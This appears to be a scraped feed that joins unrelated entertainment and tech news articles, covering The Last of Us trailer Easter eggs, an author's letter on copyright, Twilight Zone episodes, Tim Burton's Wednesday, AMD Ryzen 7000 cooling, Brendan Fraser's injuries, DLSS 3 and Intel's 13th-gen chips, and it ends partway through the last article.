Joel’s Broken Watch

Any The Last of Us fan will tell you how their heart was left in pieces due to that Sarah scene. In the game, Sarah buys her dad, Joel, a watch for his birthday and they playfully share a joke about how she got the money for it. Later that night and while all hell breaks loose as they try and escape the city, Sarah is shot and killed by an army soldier which also breaks Joel’s watch at the same time.

In the new HBO teaser trailer, we get a glimpse of Joel’s (Pedro Pascal) watch with a crack in it, providing a callback to the game where the watch symbolizes Joel and Sarah’s timeless love and also Joel’s survivor’s guilt.

Ellie in Chains

Only 15 seconds into the trailer, we see someone in chains around their feet. Although we don’t see a face to accompany the scene, we do see a pair of converse and who do we know from the game that loves their Chucks? Ellie of course. This scene is very likely to be an Easter Egg from the Winter Chapter in The Last of Us where Ellie is kidnapped by David while out hunting who then wants to turn her into his “little pet” before chopping her up for food.

Joel, Ellie and Tess – The Great Escape

We also see Joel, Ellie and Tess in a tunnel huddled together in the teaser trailer as beams from the soldier’s spotlights frantically search for them. This is another important part taken from the game where the threesome has escaped from the Quarantine Zone in the hopes of getting Ellie to the Capitol Building to fulfill the deal with the Fireflies but, of course, nothing is ever that easy in The Last of Us and it looks like it’ll be the same in the TV show too.

Ellie and Riley on the Carousel

This was a little bit of a surprise to get a taste of the Left Behind DLC from The Last of Us but very much welcomed in the otherwise grim teaser. In a short but blissful moment halfway through the trailer, we see Ellie and Riley riding on a Carousel – providing a very brief period of joy for the twosome. In the DLC, we see the two teenagers in an abandoned mall where they get a carousel to work and spend some time actually having some fun and telling jokes. I can’t wait to see how this scene plays out in the show!

• MORE: An Unusual Last of Us Easter Egg is Found Hidden in The Sims 4

Bill’s sexuality revealed?

Although we never really know if Bill is gay or not in the game, it is somewhat implied that he might. Not only did Ellie sneak a porn magazine full of naked men from Bill’s place but there was also the notion that Bill’s friend Frank, who was found hanging in one of the houses, could have been his boyfriend.

At around the one-minute mark of the trailer, we see what looks to be two men in suits holding hands at a dinner table. This would likely be a memory throwback given that their clothes look far too clean to be living in post-apocalyptic times but also we know that Bill lived alone when Joel and Ellie visit him. Either way, this would be a really cool and interesting avenue to explore as Bill’s previous life before the Outbreak has been left mostly untouched.

Even though this new teaser trailer is only the tip of the iceberg of what’s yet to be shown and experienced, we have gotten so much so far! 2023 cannot come soon enough and until we have an actual set date for the show to release next year, I hope HBO provides many many more trailers and inside juice regarding the series.

The post Exploring all of HBO’s The Last of Us Teaser Trailer Easter Eggs appeared first on ForeverGeek.

Most of the authors who we support at the Authors League Fund don’t consider themselves retired, even in their 70s and 80s. They can’t afford to retire, and because an author’s life is a precarious one, few of them have pensions or savings enough – and those who do have savings often find that one medical emergency can wipe them out. They’d love to be writing if anyone would publish them, or be teaching, and almost all of them are working however they can to make whatever money they can. And the Fund helps them with the money to eat, to pay dental or medical bills, to get cars back on the road, to pay rent, or pay energy bills. So when I’m talking about copyright feeding authors, I’m not talking about me, specifically, I’m talking about most authors (only 2% of whom can support themselves through their writing alone, per the last statistics I saw, but it may have dropped since then). These aren’t “quaint euphemisms”. When I say “fed” and “comfortable” I’m talking about survival. (And yes, some of these authors are people you’ve heard of and whose books you probably love.)

Here’s the Author’s League Fund link – please read the link on what we do and how it works, and donations are always very welcome:

Home - Authors League Fund

And, yes, I’m an international best-selling author: I actually take a pay-cut to work on Good Omens, Anansi Boys and Sandman, because I’d be making vastly more writing new books, instead of showrunning. I’m an outlier in all this, and I’m not pretending I’m not. (I know it’s not usual to be making things that have an affect on a whole country’s economy, as in https://deadline.com/2022/06/screen-scotland-report-half-billion-dollars-scotland-economy-good-omens-1235051307/.)

But…

If I’d died in my late thirties, back when I wasn’t an outlier, with three children under the age of 18, and all my copyrights and royalties had terminated at my death, my kids would have been watching the Sandman and Good Omens TV adaptations, or the Stardust movie, and seeing the books and comics on sale and wondering why it was fair that huge corporations were making enormous amounts of money on their dad’s creations, and reprinting his books and comics, while they, too, were struggling to pay for food or heat.

All over the UK people are struggling to pay energy bills. It’s obscene. In your part of the world I’m supporting local foodbanks, and several local school “breakfast clubs” and after school groups, because I can afford to and a tiny amount of food makes a huge difference to kids (and to the people who need the foodbank assistance). But I’m not seeing that the awfulness of UK energy policy would be improved by a shorter period of copyright, and if I didn’t have the copyright and royalties on things I’d created over 30 years ago, I might not be in a position to help feed people.

Does that help?

The U.S. Department of Agriculture’s Food Safety and Inspection Service (FSIS) is urging consumers to check their pantries, refrigerators, and freezers to see whether they contain any of the roughly 87,00 pounds of various ready-to-eat meat products that may be contaminated with harmful bacteria.

Read more...

[link] [195 comments]

A lot of episodes of "The Twilight Zone" have become stone-cold classics in the 60+ years since the show was on the air. There are some episodes that are pop-cultural touchstones, twist-ending stories that everyone remembers: the monster on the wing of the plane, the one where she's beautiful and everyone else is ugly, the one where it's a cookbook, etc. The most famous episodes have been made and re-made several times over the course of the show's life, reappearing in films, revival series, and even as radio dramas (now available in podcast form thanks to iHeartRadio!). 

However, there were 153 episodes in the original run, and they can't all be re-run in primetime on SyFy every New Years' Day. Marathons tend to stick to the classics. Still, there are plenty of other episodes well worth checking out. Even when "The Twilight Zone" wasn't at its absolute best, it's still "The Twilight Zone," so it's pretty much always worthwhile. Or, to paraphrase the great Rod Serling: You're traveling through another dimension, a dimension not only of sight and sound but of mind. A journey into a wondrous land whose boundaries are that of imagination. That's the signpost up ahead! Your next stop: a roundup of 12 underrated episodes of ... "The Twilight Zone."

The Sixteen-Millimeter Shrine (Season 1, Episode 4)

Ida Lupino was a pioneering filmmaker, the first woman to direct a film noir with 1949's "Never Fear." She had a number of feature films under her belt, including "The Hitch-Hiker," before transitioning to television work. She continued to act as well, starring in one of the very first episodes of "The Twilight Zone" titled "The Sixteen-Millimeter Shrine."

In this episode (which owes a bit of a debt to "Sunset Blvd."), Lupino plays Barbara Jean Trenton, a film star of the 1930s who is unable to cope with the fact that she is aging out of the starlet roles she once adored. Instead, Barbara spends her days holed up in her Beverly Hills mansion, watching and rewatching her old films on a projector in her study. She prefers to lose herself in the fantasy of her youth rather than address the fact that she is better suited for roles as a mother nowadays, to the consternation of her agent (Martin Balsam, the year before he investigated Norman Bates in "Psycho"). Lupino is tremendous, bringing a wonderful gravitas to the role that carries the character through the surrealist, depressing ending of the episode. Her film work as a director deserves to be better remembered, and so too does her appearance in "The Twilight Zone."

Judgment Night (Season 1, Episode 10)

Carl Lanser (Nehemiah Persoff) is a man on a ship who knows he does not belong. He can't remember much, but the year is 1942 and he's on a British liner trapped in the fog. All Lanser knows is that he was born in Frankfurt, and he is soon gripped by the unshakable feeling that a German U-Boat stalks them through the open ocean, just out of sight in the darkness.

"The Twilight Zone" ran a number of World War II-themed episodes over the years, but "Judgment Night" was the first and remained one of the best. Persoff's performance is haunting, shot through with a wild-eyed horror that feels at times uncomfortable to witness. It's also a rare "Twilight Zone" episode that doesn't have a twist, per se. Instead, the episode parcels out its clues early, the dramatic tension coming from the fact that we realize what is happening long before the main character does. There is only the crushing inevitability of what's coming, and when it arrives it's utterly frightening.

And When The Sky Was Opened (Season 1, Episode 11)

Rod Taylor stars in "And When The Sky Was Opened" as Col. Clegg Forbes, a recently-returned astronaut from an experimental flight that lost contact with ground control for 24 hours. While speaking with a fellow spaceman named Maj. William Gart (Jim Hutton), Forbes realizes that he's the only one who remembers the third man on their mission, Col. Ed Harrington (Charles Aidman). Most of the episode is told in flashback to the previous day when Harrington was still around, and we watch as Forbes loses his grip on his sanity when his friend slips away. Over the course of its run, "The Twilight Zone" managed to nab numerous talented actors at the outset of their fame. George Pal's Rod Taylor-led adaptation of "The Time Machine" would open less than a year after this episode aired, making his career. He's excellent here, his performance a live-wire of anxiety and terror.

"And When The Sky Was Opened" is based on a short story written by Richard Matheson, best known for penning classics like "The Shrinking Man" and "I Am Legend." Matheson wrote several "Twilight Zone" teleplays directly, including the classic episode "Nightmare at 20,000 Feet," but in this case, the show's creator Rod Serling adapted Matheson's work. Like many of the best episodes of "The Twilight Zone," it feels like it could have been torn from the pages of EC Comics, perhaps appearing as an installment of Weird Science.

Mirror Image (Season 1, Episode 21)

In "Mirror Image," Millicent Barnes (Vera Miles) is a woman waiting for a bus that's behind schedule. When she asks the man behind the station ticket booth how much longer he expects it'll be, he's exasperated because he claims she just asked him the same question. She begins to realize that something is amiss: there's another person waiting at the bus stop who looks just like her. According to "The Twilight Zone Encyclopedia," Rod Serling got the idea when he was in an airport. "I noticed a person walking past me, carrying a bag very similar to my own," he recalled. "I looked up and saw the person from the back. The build, the back of the head, etc., were identical to my own, and while I never did see who the unlucky guy was, it provided a springboard to an idea."

The beauty of "Mirror Image" lies in its simplicity. This is a story that takes place primarily in one room, with only a handful of actors. It's a confusing little puzzle, one that easily keeps the viewer intrigued all the way through. The best part of the episode comes at the very end when the camera finally breaks free from the bus station and there's a cathartic, surreal, oddly-beautiful chase sequence featuring a twinkling piano score. It's "The Twilight Zone" at its very best — neatly-plotted, always intriguing, and ultimately transcendent. 

The After Hours (Season 1, Episode 34)

"The After Hours" takes a classic "Twilight Zone" plot — one person remembers something that seems to have slipped out of reality, causing everyone else to forget — and knocks it out of the park. In this episode, the person doing the remembering is Marsha (Anne Francis, star of "Forbidden Planet"), a woman who insists that she just purchased something on the ninth floor of a department store ... a floor that, according to everyone else, doesn't exist. It's a classic tale of a customer demanding something a business can't provide, except this department store is located in the Twilight Zone, so she might just be correct after all.

A lot of "Twilight Zone" episodes that attempt horror seem quaint to modern eyes (the gremlin on the wing of the plane, for one), but the climax of "The After Hours" remains genuinely chilling. The score falls away, and as Marsha tries to escape the department store that has closed for the night and locked her in, the mannequins leer and loom large. All we can hear are her gasps of fright ... and perhaps our own. According to Steven Jay Rubin's "The Twilight Zone Encyclopedia," Francis later recalled, "It was a five-day project and we rehearsed for three days like it was theater, and this character I played had to build up to this insane hysteria at the end. So being able to do it straight through was fabulous." It worked, as she's excellent in the part.

The Howling Man (Season 2, Episode 5)

In "The Howling Man," H. M. Wynant plays David Ellington, a WWI vet who has found himself lost in a storm. He reaches a mysterious hermitage and begs for rest, but the Brotherhood who guard the building don't want to provide him sanctuary. There's a man in a cell in the dungeon, howling for release, and though the man (Robin Hughes) says the brothers are stark raving mad, the brothers claim the man is Satan himself. They've had him trapped since the end of the first World War, believing that his imprisonment is responsible for the relative peace enjoyed by humanity in the years afterward.

"The Howling Man" is incredibly atmospheric. In addition to the ever-present sound of wind and rain lashing the windows, the howling man's cries are genuinely upsetting. The episode is shot in both canted angles and frequent closeups, making it a disorienting viewing experience. We in the audience feel just as unsteady as Ellington himself. The leader of the Brotherhood is played by the legendary character actor John Carradine, whose performance is a real treat, and the close-ups of his craggy face give the episode the solemnity it needs. Wynant loved working with Carradine, as "The Twilight Zone Encyclopedia" quotes the actor's memories of the episode's rehearsal process: "The two days of rehearsal was a quick read-through of the script and John Carradine, for the next two days, telling stories. It was the best time of my life."

The Shelter (Season 3, Episode 3)

The original run of "The Twilight Zone" bridged the 1950s and 60s, so it makes sense that a number of episodes grapple with the emotional paranoia of the ongoing Cold War. Some of these episodes are stone-cold classics, like"The Monsters Are Due On Maple Street," and "The Shelter" deserves to be just as well-known. At the start of the episode, a radio broadcast alerts anyone who's listening that unidentified objects have been spotted over American skies, and residents are urged to seek cover and not leave their homes. Fear of an imminent bomb sends a neighborhood dinner party scrambling for the one house on the street that has a fallout shelter, even though the family with the resource doesn't want to let everyone inside because they only have enough supplies for themselves.

Neighbor turns against neighbor, and the sharp divisions between them all are laid bare for everyone to see. It's a desperately-uncomfortable watch, and the moral questions it raises are just as relevant today as they were when the episode first aired. How do we go on living alongside people who are, nakedly, only out for themselves? How do we survive with people who would claw away our meager resources just so they have something for themselves? In the end, Rod Serling narrates, "No moral, no message, no prophetic tract. Just a simple statement of fact: for civilization to survive, the human race has to remain civilized." We'd do well to heed "The Shelter's" warning.

The Grave (Season 3, Episode 7)

Oscar-winner Lee Marvin is another future star who appeared on "The Twilight Zone" before his career really took off, about a year before he showed up in "The Man Who Shot Liberty Valance." In one of the show's best Western episodes titled "The Grave," Marvin plays Conny Miller, a bounty hunter who is warned to stay away from the grave of a man he was hunting. In his dying moments, the man told the local townspeople that if Conny were ever to come near his final resting place, he would reach up out of the grave to grab him. The episode also features James Best, who would much later teach a young man named Quentin Tarantino to act. Best plays Johnny Rob, a guitar-playing, a whiny local who bets Conny that he won't go near the grave.

The twist at the end of the episode is a simple one, but it's the execution that ties the story together. When Conny does approach the cemetery where his old nemesis has been laid to rest, the scene becomes mostly silent except for the rushing of wind. It's an eerie sequence, an indelible moment acted by one of the Western genre's greats, and it makes "The Grave" a sorely underrated episode of "The Twilight Zone."

Once Upon A Time (Season 3, Episode 13)

"The Twilight Zone" rarely went for laughs, and when it did it even more rarely found them. "The Bard," a comedic Season 4 episode of the show about a TV writer summoning William Shakespeare to write scripts for him, is one of the worst episodes the show ever aired. "Once Upon a Time," though, has a secret weapon: Buster Keaton. The silent film legend stars as Woodrow Mulligan, an unhappy janitor living in 1890 who feels that society has become too loud and expensive. He nicks a time helmet from the inventor's shop where he works and uses it to travel to 1960, where he really learns how expensive and loud life can be. Jackhammers?! Televisions?! Pants that cost a whole $5?! Inconceivable!

The frame story of the episode is filmed like a silent movie, full of slapstick sight gags, dialogue title cards, sped-up motion, and the exaggeratedly droll facial expressions Keaton was known for in his heyday. When he travels forward in time, the episode snaps into sound and a more updated filming style, but Mulligan continues to behave as if he's in a silent comedy. The results are incredibly charming, thanks in large part to a performance from Keaton that's as nimble and physical as ever even though he was 66 years old. While the moral about being happy in your own time comes off a little predictable, it's hard to be too disappointed in an episode with this much zany energy.

Printer's Devil (Season 4, Episode 9)

Burgess Meredith is a "Twilight Zone" legend. He starred in "Time Enough at Last," the one about the nebbish who loves to read and accidentally shatters his glasses after the end of the world. He was the titular "Obsolete Man" in the terrifying episode about a man declared irrelevant by a Kafka-esque tribunal. He was also in "Mr. Dingle, The Strong," which isn't great but is memorable because of its two-headed Martian. Then there's "Printer's Devil," an underrated episode from the show's little-replayed fourth season when runtimes ran to an hour long instead of the usual 30 minutes.

In "Printer's Devil," Meredith plays against type, cast as an oddball villain rather than a hapless protagonist. Here he plays Satan, in disguise as a newspaper reporter and typist named Mr. Smith. He finds an editor (Robert Sterling) about to commit suicide and vows to help the man turn his failing paper around if only the man will promise him his eternal soul. To help the paper beat its competitors, Mr. Smith develops a linotype machine that can not just predict the future but cause it to come true. Burgess is clearly having a blast, and he carries the episode handily with his energetic performance. "The Twilight Zone" is famous for its economical storytelling, which is why the hourlong episodes are some of the weakest. In this case, though, the runtime mostly means extra scenes for Meredith to vamp for the camera, and who would complain?

The Long Morrow (Season 5, Episode 16)

In "The Long Morrow," an astronaut (Robert Lansing) who will be in suspended animation for 40 years falls in love just before leaving on his journey into space. The new technology aboard his ship means that he will only age several weeks while exploring distant solar systems. Thus, when he returns to Earth his beloved (Mariette Hartley) will be an old woman. The final twist is heartbreaking and poignant, an excellent example of "The Twilight Zone" at its most emotionally effective.

"The Long Morrow" is also a great example of Rod Serling's ingenuity, especially as the show stretched into its fifth season and reached its end. There are only a handful of actors in the episode and a few generic-looking sets, but the story still feels expansive because of the emotional mechanisms at work. It's also a great example of the economy of Serling's narration. The episode includes a number of sci-fi plot devices, including the suspended animation chamber and an interstellar drive that will allow the ship to travel at 7x the speed of light, but the opening moments of the episode immediately earn the audience's buy-in. "Science has solved the mechanized details," Serling says, "and now it's up to one human being to breathe life into blueprints and computers." Even at its most science fiction-y, "The Twilight Zone" excels when it tells very human stories. On that level, "The Long Morrow" is a standout.

An Occurrence At Owl Creek Bridge (Season 5, Episode 22)

"An Occurrence at Owl Creek Bridge" stands out in the "Twilight Zone" canon because it wasn't actually filmed as part of the show. Instead, according to "The Twilight Zone Encyclopedia," it aired as an episode of the show's final season after "The Twilight Zone" purchased the rights to the short film out of France. Based on Ambrose Bierce's short story, the episode tells the tale of a man about to be hanged during the Civil War when suddenly the rope snaps and he escapes down the creek.

Nearly dialogue-free, it's a stunning half-hour of television. The episode is dreamlike and strange — which makes sense in its infamous, shocking final moments — and it's made all the more eerie thanks to its propulsive score. It also looks different than the vast majority of "Twilight Zone" episodes, which were largely filmed on soundstages. Here, it's all location photography, full of elegant camerawork and ambient sound that seems to have been captured on site. Because of rights issues, the episode only ever aired once. It's not included in the Paramount+ catalog of "Twilight Zone Classic" episodes, but the short film is available to rent separately from various other VOD services, and the episode is included on various home video releases, including the Complete Blu-Ray edition. It also served as a major inspiration for the horror classic "Jacob's Ladder."

Read this next: Sci-Fi Movies That Accurately Predicted The Future

The post 12 Underrated Episodes Of The Twilight Zone appeared first on /Film.

It's difficult to think of anyone who is currently having a better year in the world of horror than Mia Goth ("Pearl"), but Jenna Ortega is making the rounds. As if the bloody winning streak of "X," "The Fallout," and "Scream" weren't enough, Ortega is prepared to make everyone's Thanksgiving better in the most ghastly way possible with the release of "Wednesday."

Measuring up to Christina Ricci's portrayal of the Addams daughter is a herculean task all its own, but going off of what I've seen so far, Ortega slips into her mannerisms like a glove. The trailer, which shows the Addams family dropping Wednesday off at the mysterious Nevermore Academy boarding school, already piqued my interest, but the thing that sold me on her performance was an advertisement released during the Emmys, in which she doesn't blink for a full minute.

With director Tim Burton helming the series, the pair is unstoppable. Burton was tasked at one point to helm an animated stop-motion "Addams Family" feature film for Universal at the top of the 2010s, drawing on the macabre illustrations of Charles Addams for inspiration.

But even after leaving the previous "Addams" project behind him, Burton's playfully morbid idiosyncrasies make him such a perfect fit for the "Wednesday" series.

'Wednesday And I Have The Same Worldview'

In an interview with Empire, Burton mentioned how it was the scripts from Alfred Gough and Miles Millar that convinced him to join the show. The grim angst of a teenage Wednesday Addams reminded him of how he felt like an outsider when he was in school. "It gave the Addams Family a different kind of reality," Burton said.

The "Sweeney Todd" filmmaker also points to a classic '70s horror flick that made him feel like an outcast when he was around Wednesday's age:

"In 1976, I went to a high-school prom [...] It was the year 'Carrie' came out. I felt like a male 'Carrie' at that prom. I felt that feeling of having to be there but not be part of it. They don't leave you, those feelings, as much as you want them to go [...] You know, Wednesday and I have the same worldview."

Seeing as Burton is known for delving into his weird imagination, it must have been cathartic to live out his childhood from an Addams' perspective. His childhood wasn't exactly a great one, as most folks ostracized him for being too odd. It would seem that Burton carried his admiration for Brian De Palma's "Carrie" into the series, seeing how in the trailer, it looks like someone is getting doused in blood at the school dance.

In addition to being an executive producer, Burton himself will be directing four out of the eight episodes ordered for season 1. "Wednesday" also stars Gwendoline Christie, Luis Guzmán, Emma Myers, Christina Ricci, Jamie McShane, Joy Sunday, and Catherine Zeta-Jones.

Every episode of "Wednesday" will be available to stream on Netflix on November 23, 2022.

Read this next: The Horror Movies We Can't Wait To See In 2022

The post Why Wednesday is What Got Tim Burton to Finally Make an Addams Family Project appeared first on /Film.

Horror aficionados were mostly thrilled this year when Sam Raimi directed his first film in nine years with "Doctor Strange in the Multiverse of Madness." I say "mostly thrilled" because there was some grumbling that Raimi's wild flights of grisly fancy were reined in by the four-quadrant dictates of Marvel Studios. While it's true that the film is hampered by a for-hire homogeneity here and there, it's also easily the darkest movie in MCU history, and, once it gets warmed up, delivers the spook-a-blast goods in classic Raimi fashion.

"Doctor Strange in the Multiverse of Magic" was close enough to the real Raimi thing to leave his hardcore fans hankering for a return to the take-no-prisoners horror of the "Evil Dead" films and "Drag Me to Hell." So learning via Mick Garris' interview with Roy Lee on the former's Post Mortem podcast that Raimi is preparing to direct a remake of Richard Attenborough's nerve-shredding "Magic" is, well, extra groovy.

Presto! Chango! Fats Is Back!

Bloody Disgusting was the first to relay Lee's brief comments, and while we should always proceed with caution when writers have yet to be attached, it sounds like this picture is a go.

Lee told Garris that while he's worked with Raimi before in a producing capacity (most notably with the U.S. adaptations of "The Grudge" series), he's overjoyed that he gets to team with the legendary filmmaker on something he's going to direct. Lee told Garris, "We're just actually hearing the final versions of the different takes from writers next week." So there's no script yet. But if this gets fast-tracked (and why wouldn't you speed this into production if Raimi's on board?), this should probably get cast and crewed up by the spring of 2023.

For those of you who aren't acquainted with "Magic," the 1978 film is based on a novel by William Goldman and stars Anthony Hopkins as Charles "Corky" Withers, a struggling magician who becomes a hit when he incorporates a dummy named Fats into his act. The profane dummy quickly takes on a life of its own and becomes murderously jealous when Corky rekindles a flame with his high school crush Peggy-Ann (Ann-Margaret). It's a good, creepy horror flick, but there's plenty of room for improvement. If you can't see the insane potential of Raimi working with a psycho puppet, then you are clearly unacquainted with the man's work.

We'll be keeping close tabs on this project, but, in the meantime, feel free to go wild with casting speculation. As far as I'm concerned, this would be a perfect time for Raimi to reunite with his "Darkman" star Liam Neeson.

Read this next: The Horror Movies We Can't Wait To See In 2022

The post Sam Raimi is Gearing Up to Direct a Remake of Magic, According to Producer Roy Lee appeared first on /Film.

AMD's Ryzen 7000 Desktop CPUs are officially available now but there seems to be a concern over the temperatures that the chips produce. As you may have noticed from our review, the Zen 4 CPU lineup gets really hot and requires top-of-the-line coolers to stay under control.

AMD Ryzen 7000 CPU IHS / Die Hotspots, Direct-Die Cooling, Air/Water Cooling & Temperatures Analyzed

In our review, we saw temperatures for the AMD Ryzen 7000 CPUs hovering and sometimes even surpassing past 90 degrees Celcius. While this is under the 95C TjMax and as AMD states, these are well within the performance and temperature targets of their CPUs, users can still see get higher temps if they are applying Manual OC or leaving PBO to Auto. Certain motherboard makers such as MSI have already incorporated Thermal Limit profiles that can reduce voltages, leading to temps at a specified target, leading to cooler operations at the same performance.

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Extreme overclocker, Der8auer, has decided to take things to the next step with Direct-Die cooling. To achieve this, Der8auer designed a prototype delidding kit that was used to remove the IHS off of the Ryzen 7000 CPUs to access the chiplets underneath it. We have already detailed what lies under the delidded chip here. After the removal of the IHS, a custom (prototype) Direct-Die frame for the Ryzen 7000 CPUs was CNC-milled. After the frame is complete, all that needs to be done is to clean the chip since it still has some solder glue and Indium solder over the interposer and chiplets to get some liquid metal over the dies.

To install the Direct-Die frame, the AM5 LGA 1718 socket was removed entirely from the ASUS ROG Crosshair X670E GENE motherboard and the delidded CPU was placed on the socket. The direct-die frame was then screwed into place. Using an EK AM5 water block with a custom-loop cooling setup, the AMD Ryzen 7000 CPU was able to achieve a 5.5 GHz all-core frequency with temps hitting only 70C. That's a 20C drop from the 90C and 5.3-5.4 GHz clocks that were previously reported.

AMD Ryzen 7000 Desktop CPU Direct-Die Cooling Before & After (Image Credits: Der8auer):

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In another analysis of the AMD Ryzen 7000 CPU temps, Igor Wallossek from Igor's Lab has shown off the performance of the IHS itself. Under an infrared camera, we can see that the IHS is not able to spread the thermal load evenly and the areas around the CCD and the IOD are the hottest.

Also, it looks like making the IHS thicker didn't work out well as both Igor and Der8auer have concluded it to be a negative aspect for cooling. The thicker IHS means that the heat needs to be dissipated by the cooler much quicker or the CPU will get really warm. As such, liquid coolers are recommended to use with Ryzen 7000 CPUs compared to air coolers. The IHS itself is around 4.5 mm thick.

Igor's cooler testing shows that none of the air coolers can maintain CPU temperatures below 90C under load with the AMD Ryzen 7000 CPUs while liquid coolers can allow around 75-80C temps if you are running a really good setup with lots of airflows.

AMD Ryzen 7000 CPU Tested Under Various Coolers (Image Credits: Igor's Lab):

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Overall, this shows that AMD Ryzen 7000 CPUs are definitely the hottest chips on the market right now and you will need to invest lots of money in high-end coolers just to keep them under a normal operating temp.

The post AMD Ryzen 7000 CPU Direct-Die Cooling Can Offer Up To 20C Lower Temps, IHS Hot Spots & Temps Analyzed by Hassan Mujtaba appeared first on Wccftech.

Although he had a few roles under his belt already, Brendan Fraser became a massive movie star in 1999 thanks to "The Mummy." The film launched him to superstardom — Fraser portrayed a tough goofball with a glorious mop of hair, a chiseled jaw and had a terrific sense of humor. Plus, he was a genuinely compelling performer. The actor continued to work steadily, but the charm of "The Mummy" was hard to match again. 

A few years later, the actor disappeared from the limelight; he had to put his career on pause due to a series of issues. Among other things, Fraser had to undergo several surgeries due to performing stunts and couldn't work at full pace again (discussed in more detail below).

The beloved actor has finally made his big comeback in filmmaker Darren Aronofsky's "The Whale," and Fraser's performance has received glowing reviews from critics. "The Mummy" franchise did, however, completely change his life in more than one way. In a 2018 interview with GQ, the performer reported that with launching his career, the films had a permanent impact on his physical health.

Brendan Fraser Says He Was Trying Too Hard

Following the success of "The Mummy" in 1999, Fraser starred in three other movies: the "Bedazzled" remake with Elizabeth Hurley in 2000, "MonkeyBone" with Whoopi Goldberg, as well as "The Mummy Returns" sequel in 2001. Looking back at his career, Fraser shared that he believes he was "trying too hard" in a way that was "destructive." By 2008, when the actor was filming the third film in "The Mummy" franchise, Fraser was building "an exoskeleton" for himself every day. Doing stunt after stunt on set after set eventually took a toll on him, causing him to be in and out of hospitals for seven years.

Here's what the actor told GQ:

"By the time I did the third Mummy picture in China, I was put together with tape and ice — just, like, really nerdy and fetishy about ice packs. Screw-cap ice packs and downhill-mountain-biking pads, 'cause they're small and light and they can fit under your clothes. I was building an exoskeleton for myself daily."

Fraser's many injuries ultimately required him to undergo several surgeries — including a laminectomy (a type of back surgery), a partial knee replacement, and other surgeries on the spine. The actor also had to have his vocal cords repaired.

"I needed a laminectomy. And the lumbar didn't take, so they had to do it again a year later."

'I Felt Like The Horse From Animal Farm'

The actor further expressed that he thought it was his job to continue working no matter the cost and likened himself to Boxer, a hardworking but naive cart horse from George Orwell's 1945 novel Animal Farm.

"... I felt like the horse from Animal Farm, whose job it was to work and work and work. Orwell wrote a character who was, I think, the proletariat. He worked for the good of the whole, he didn't ask questions, he didn't make trouble until it killed him.... I don't know if I've been sent to the glue factory, but I've felt like I've had to rebuild sh*t that I've built that got knocked down and do it again for the good of everyone. Whether it hurts you or not."

Fraser has gone through a lot over the years, and his fans are thrilled to see him back at the movies. The actor is currently working on multiple projects, including Martin Scorsese's "Killers of the Flower Moon" and Dalibor Stach's "Behind the Curtain of Night." Fraser was also expected to make his DCEU debut in Leslie Grace's canceled "Batgirl" film, where he played the villain Firefly.

Read this next: The 18 Best Action Movie Actors Ranked

The post The Mummy Franchise Had A Permanent Impact On Brendan Fraser's Physical Health appeared first on /Film.

Last week NVIDIA unveiled DLSS 3, their latest upscaling and performance-boosting tech exclusive to GeForce RTX 40-series graphics cards. The big difference between DLSS 3 and previous versions of the tech is the addition of AI-generated frame generation – in other words, DLSS 3 doesn’t just reduce the workload of rendering frames at high resolution, it creates new frames to boost a game’s performance.

Early DLSS 3 hype videos from NVIDIA have been head-turning, but now the tech heads at Digital Foundry have got the chance to go hands-on with the tech in Marvel’s Spider-Man, Cyberpunk 2077, and Portal RTX and the results are impressive. You can check out the full preview for yourself below, provided you have around half-an-hour to spare.

To start, Digital Foundry shows off the settings screen available in Spider-Man if you have a new DLSS-3-capable GPU. Essentially, you get the same upscaling quality options you’d get with a DLSS 2 GPU, but now you can activate frame generation, which is a simple on-off choice. Interestingly, if you turn on frame generation, NVIDIA’s Reflex latency reduction tech is turned on by default. We’ll get to why that’s important in a minute.

As for DLSS 3 performance, Digital Foundry isn’t allowed to share actual frames-per-second data yet, but they were able to compare Spider-Man, Cyberpunk, and Portal running natively on an RTX 4090 without any upscaling to those three games running on the same card with DLSS 3 on and the results were impressive. Spider-Man showed around a 2x boost in performance, Cyberpunk 2077 offered a 3x boost, and Portal RTX offered 5x the native performance. DF speculates the results may be somewhat CPU-bound, meaning you might get better results out of game like Portal than an open-world title like Spider-Man. As for the actual quality of the frame generation, with not 100 percent perfect, it’s significantly better than existing tech like Adobe After Effects.

But what about latency? Adding extra frames to a game is going to naturally increase latency, right? Well, NVIDIA Reflex largely deals with latency. For instance, in Portal RTX, DLSS 3 latency is only slightly higher at 56ms than DLSS 2 at 53ms, and much better than native latency at 95ms. Things are a bit further apart on Cyberpunk, with DLSS 3 delivering 54ms of latency to DLSS 2’s 31ms, but it’s still below native latency at 62ms. So, yes, DLSS 3 isn’t quite as responsive as DLSS 2, but it’s still better than native and shouldn’t be a big issue overall.

DLSS 3 will launch alongside the GeForce RTX 4090 on October 12. You can check out the current list of games committed to support DLSS 3, right here.

The post NVIDIA DLSS 3 Previews Show Up to 5x Performance Boosts, Latency No Big Issue with Reflex by Nathan Birch appeared first on Wccftech.

If you want to see the power of competition in action, just look at the race between Intel and AMD to deliver the fastest PC CPU. While Intel was plagued with production delays and design issues over the past decade, AMD doubled-down on its Zen architecture to create an impressive family of Ryzen chips suited to performance-hungry enthusiasts. Today, AMD's chips power some of our favorite gaming laptops, like the ASUS Zephyrus G14.

Just when we were about to give up on Intel, though, it finally delivered on its long-awaited hybrid chips with the 12th-gen Core CPUs. Thanks to a combination of performance cores (P-cores) and efficient cores (E-cores), they trounced AMD in most multi-threaded benchmarks while using less power than the previous 11th-gen chips.

Now, it's time for the follow-up: Intel's 13th-gen Core chips, AKA Raptor Lake. And it sure looks like Intel isn't slumming it. The company's new top-end chip, the Core i9-13900K, sports 24 cores (8 P-cores and 16 E-cores) and can reach up to a 5.8GHz Max Turbo frequency. In comparison, last year's 12900K offered 16 cores (8P and 8E), and a maximum speed of 5.2 GHz. Intel claims the new 13900K is 15 percent faster than its predecessor in single-threaded tasks and 41 percent better for multi-threaded work like video encoding or 3D rendering.

Intel

The 13th-gen chips are built on an upgraded version of the Intel 7 process, which features the company's third-generation SuperFin transistor. When that 3D transistor technology was first announced in 2020, it sounded like a way for Intel to eke out more performance from its 10nm designs as it struggled to hit 7nm. (The Intel 7 process is still 10nm, following its rebranding last year.) For the most part, it seems like that was the case. AMD was able to reach 6nm with this year's Ryzen 6000 and 7000 chips, but Intel proved with its 12th-gen chips that it could still leap ahead with a larger fabrication process.

Based on the initial specifications, the 13th-gen chips look like a massive improvement across the entire lineup. The Core i5-13600K adds four cores and an initial 200Mhz of Turbo speed, hitting 14 cores and up to 5.1 GHz, compared to its predecessor. The i7-13700K now offers up to 16 cores and 5.4GHz, whereas last year's equivalent i7 was 12 cores.

